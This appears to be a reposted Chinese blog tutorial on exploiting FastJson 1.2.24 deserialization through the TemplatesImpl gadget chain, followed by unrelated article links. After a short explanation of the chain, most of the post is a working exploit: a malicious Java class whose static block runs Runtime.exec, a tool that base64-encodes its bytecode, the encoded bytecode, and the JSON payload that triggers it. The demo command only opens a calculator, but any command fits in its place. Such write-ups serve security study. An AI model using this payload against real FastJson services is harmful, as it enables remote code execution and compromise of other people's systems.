【Web】速談FastJson反序列化中TemplatesImpl的利用

目錄

簡要原理分析

exp


前文:【Web】關于FastJson反序列化開始前的那些前置知識

簡要原理分析

眾所周知TemplatesImpl的利用鏈是這樣的:

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

而getOutputProperties()正是TemplatesImpl的_outputProperties屬性對應的getter方法

所以我們只要利用FJ反序列化會調用類的getter方法的特性來打TemplatesImpl即可

需要注意幾點:

在調用TemplatesImpl利用鏈時,defineTransletClasses方法內部會通過_tfactory屬性調用一個getExternalExtensionsMap方法,如果_tfactory屬性為null則會拋出異常,無法根據_bytecodes屬性的內容加載并實例化惡意類

②getTransletInstance方法中判斷if (_name == null) return null; 所以要給_name賦值(String)

③_outputProperties:json數據在反序列化時會調用TemplatesImpl類的getOutputProperties方法觸發利用鏈,可以理解為outputProperties屬性的作用就是為了調用getOutputProperties方法。

④由于更改的一些TemplatesImpl私有變量沒有 setter 方法,需要使用 Feature.SupportNonPublicField 參數。也正是因此,TemplatesImpl這條鏈的泛用性不強(

exp

pom依賴

 <dependencies><dependency> <groupId>com.alibaba</groupId><artifactId>fastjson</artifactId> <version>1.2.24</version></dependency><dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.29.2-GA</version></dependency></dependencies>

惡意類

package com.FJ;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {//構造RCE代碼static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}}public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

字節碼轉base64小工具

package com.FJ;import javassist.ClassPool;
import java.util.Base64;public class base64util {public static void main(String[] args) throws Exception {byte[] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();System.out.println(Base64.getEncoder().encodeToString(code));}
}

召喚計算器的咒語

package com.FJ;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import javassist.*;
import java.io.IOException;public class FJ {public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException {//惡意類Evil轉換成字節碼,base64編碼String byteCode = "yv66vgAAADcAMwoACAAjCgAkACUIACYKACQAJwcAKAoABQApBwAqBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1MY29tL0ZKL0V2aWw7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACwBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAJAAoHAC0MAC4ALwEABGNhbGMMADAAMQEAE2phdmEvaW8vSU9FeGNlcHRpb24MADIACgEAC2NvbS9GSi9FdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAJAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAATAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAWAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABhAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAMADAAAABYABQAAAA0ACQAQAAwADgANAA8AEQARAA0AAAAMAAEADQAEAB4AHwAAACAAAAAHAAJMBwAFBAABACEAAAACACI=";//構造TemplatesImpl的json數據,并將惡意類注入到json數據中final String EVIL_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";String payload = "{\"@type\":\"" + EVIL_CLASS +"\",\"_bytecodes\":[\""+byteCode+"\"]," +"'_name':'XXX'," +"'_tfactory':{}," + //這段代碼中的{}是用來表示空的對象實例"\"_outputProperties\":{}}\n";System.out.println(payload);//反序列化Object object = JSON.parseObject(payload,Feature.SupportNonPublicField);}
}

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/719488.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/719488.shtml
英文地址,請注明出處:http://en.pswp.cn/news/719488.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

瑞芯微RK3588 C++部署Yolov8檢測和分割模型

最近這一個月在研究國產瑞芯微板子上部署yolov8的檢測和分割模型&#xff0c;踩了很多坑&#xff0c;記錄一下部署的過程和遇到的一些問題&#xff1a; 1 環境搭建 需要的環境和代碼主要包括&#xff1a; &#xff08;1&#xff09;rknn-toolkit2-1.5.2&#xff1a;工具鏈&am…

微服務day04-基于Feign的遠程調用

一.Feign的認識 是http客戶端&#xff0c;因為使用RestTemplate存在一些問題&#xff1a;代碼可讀性差&#xff0c;參數配置費事&#xff0c;不夠優雅… String url"http://userservice/user/"order.getUserId(); User userrestTemplate.getForObject(url,User.cla…

01.23 校招 實習 內推 面經

綠*泡*泡VX&#xff1a; neituijunsir 交流*裙 &#xff0c;內推/實習/校招匯總表格 1、蔚來24屆實習招聘特輯 | 軟件&算法類&#xff08;內推&#xff09; 蔚來24屆實習招聘特輯 | 軟件&算法類&#xff08;內推&#xff09; 2、校招 | 普天科技2024校園招聘 校招…

初始計算機組成原理

1.初始計算機組成原理 本人相關文章&#xff1a;Linux之計算機概論 聲明&#xff1a;大部分圖片均來自網絡&#xff0c;侵刪 一個完整的計算機系統包括硬件子系統和軟件子系統兩大部分。 組成一臺計算機的物理設備的總稱叫做計算機硬件子系統,是看得見摸得著的實體,是計算機工…

華工的各類型PPT模板

華工的各類型PPT模板&#xff0c;包括原創的PPT及改良內容的PPT&#xff0c;適合科研/比賽/組會匯報等 前言各種畢業答辯夏令營答辯復試答辯獎學金答辯比賽/項目答辯組會匯報 前言 設計不易&#xff0c;排版不易&#xff0c;內容編排不易 待更新項目1 原創聲明&#xff1a;不經…

【論文閱讀】(2006)Dual-Optimal Inequalities for Stabilized Column Generation

文章目錄 摘要一、介紹二、對偶最優不等式&#xff08;Dual-Optimal Inequalities&#xff09;三、確定P的最優原始解四、二元切割下料問題4.1 約束聚合4.2 相等約束4.3 計算結果 五、切割下料問題5.1 計算結果 六、三元組的深度對偶最優不等式&#xff08;Deep Dual-Optimal I…

C/C++ 乘積尾零問題(藍橋杯)

如下的10行數據&#xff0c;每行有10個整數&#xff0c;請你求出它們的乘積的末尾有多少個零&#xff1f; 5650&#xff0c;4542 3554 473 946 4114 3871 9073 90 4329 2758 7949 6113 5659 5245 7432 3051 4434 6704 3594 9937 1173 6866 3397 4759 7557 3070 2287 1453 9899…

代碼隨想錄算法訓練營第三十六天|435. 無重疊區間, 763.劃分字母區間, 56. 合并區間

435. 無重疊區間 - LeetCode 思路&#xff1a; 本題是一個去除重疊區間的問題&#xff0c; 首先按照區間的 end_point 排序&#xff0c; 從第二個區間開始&#xff0c; 如果第二個區間和第一個區間有交集&#xff0c; 就要移除第二個區間。 因為容易證明之后的區間區間如果和…

做測試還是測試開發,選職業要慎重!

【軟件測試面試突擊班】2024吃透軟件測試面試最全八股文攻略教程&#xff0c;一周學完讓你面試通過率提高90%&#xff01;&#xff08;自動化測試&#xff09; 突然發現好像挺多人想投測開和測試的&#xff0c;很多人面試的時候也會被問到這幾個職位的區別&#xff0c;然后有測…

每日五道java面試題之mysql數據庫篇(三)

目錄&#xff1a; 第一題. 百萬級別或以上的數據如何刪除&#xff1f;第二題. 前綴索引第三題. 什么是最左前綴原則&#xff1f;什么是最左匹配原則?第四題. B樹和B樹的區別第五題. 使用B樹和B樹好處 第一題. 百萬級別或以上的數據如何刪除&#xff1f; 關于索引&#xff1a;…

【設計】設計一個web版的數據庫管理平臺后端精要

需求 springboot設計開發一個系統&#xff0c;在這個系統的數據庫表中存放著2000個數據庫實例&#xff0c;有MySQL、Oracle、sql server3種數據庫類型&#xff0c;用戶可以在頁面上選擇不同的實例&#xff0c;連接這些實例上的數據庫&#xff0c;來執行業務sql 實現 Service…

光伏儲能MPPT控制系統如何進行浪涌靜電保護?

MPPT&#xff08;Maximum Power Point Tracking&#xff09;是太陽能電池板光伏發電系統中重要的一種控制技術。MPPT控制器能夠實時偵測太陽能板的發電電壓&#xff0c;并追蹤最高電壓電流值&#xff08;VI&#xff09;&#xff0c;使系統以最大功率輸出對蓄電池充電&#xff0…

06 - ip route和route -n的區別

1 ip route和route -n的區別 ip route 和 route -n 都是用于查看和管理Linux系統路由表的命令。但下面是它們的區別&#xff1a; ip route&#xff1a;是Linux系統中的現代工具&#xff0c;它屬于iproute2套件&#xff1b;它提供了更多的選項&#xff0c;可以更精確地控制路由表…

使用git的小筆記

平時工作中使用git存儲項目代碼&#xff0c; 常用的命令 拉取倉庫代碼 git clone http://100.100.100.100:9080/my_test/test.git 拉取到以后&#xff0c; 先切換到自己的分支 git checkout my_name 一頓魔改代碼 然后 add 新增的文件或者修改的文件 git add * 然后提交 并寫…

【go從入門到精通】什么是go?為什么要選擇go?

go的出生&#xff1a; go語言&#xff08;或Golang&#xff09;是Google開發的開源編程語言&#xff0c;誕生于2006年1月2日下午15點4分5秒&#xff0c;于2009年11月開源&#xff0c;2012年發布go穩定版。Go語言在多核并發上擁有原生的設計優勢&#xff0c;Go語言從底層原生支持…

攔截大語言模型API調用 無需深究文檔源碼

背景眾多庫致力于通過自動重構或創建提示符來優化大語言模型的輸出。這些建庫宣稱能夠使大語言模型的輸出更加&#xff1a; 安全(例如&#xff1a;安全護欄) 可預測(例如&#xff1a;智能指導) 結構化(例如&#xff1a;指令生成器) 魯棒(例如&#xff1a;語言鏈) … 或者針…

如何在 Windows 上安裝 ONLYOFFICE 文檔 8.0

使用社區版&#xff0c;您可以在本地服務器上安裝 ONLYOFFICE 文檔&#xff0c;并將在線編輯器與 ONLYOFFICE 協作平臺或其他熱門系統集成在一起。 ONLYOFFICE 文檔是什么 ONLYOFFICE 文檔是一個功能強大的文檔編輯器&#xff0c;支持處理文本文檔、電子表格、演示文稿、可填寫…

FPGA時序約束與分析--數據到達路徑和數據需求路徑

文章目錄 前言一、定義二、時序模型三、公式推導前言 時序約束的定義–設計者根據實際的系統功能,通過時序約束的方式提出時序要求; FPGA 編譯工具根據設計者的時序要求,進行布局布線;編譯完成后, FPGA 編譯工具還需要針對布局布線的結果,套用特定的時序模型( FPGA 器件…

Andorid 13 修改默認音量區間、默認音量值

Andorid 13 默認音量區間是 [0,15] &#xff0c;默認音量 5。 需求是&#xff1a;音量區間為 [0,100] &#xff0c;默認音量 30 。 找到對應產品的 device.mk &#xff0c;添加如下 #default volume PRODUCT_PROPERTY_OVERRIDES \ro.config.media_vol_steps100 \ro.config.…

無人機遙感在農林信息提取中的實現方法與GIS融合應用

在新一輪互聯網信息技術大發展的現今&#xff0c;無人機、大數據、人工智能、物聯網等新興技術在各行各業都處于大爆發的前夜。為了將人工智能方法引入農業生產領域。首先在種植、養護等生產作業環節&#xff0c;逐步擺脫人力依賴&#xff1b;在施肥灌溉環節構建智慧節能系統&a…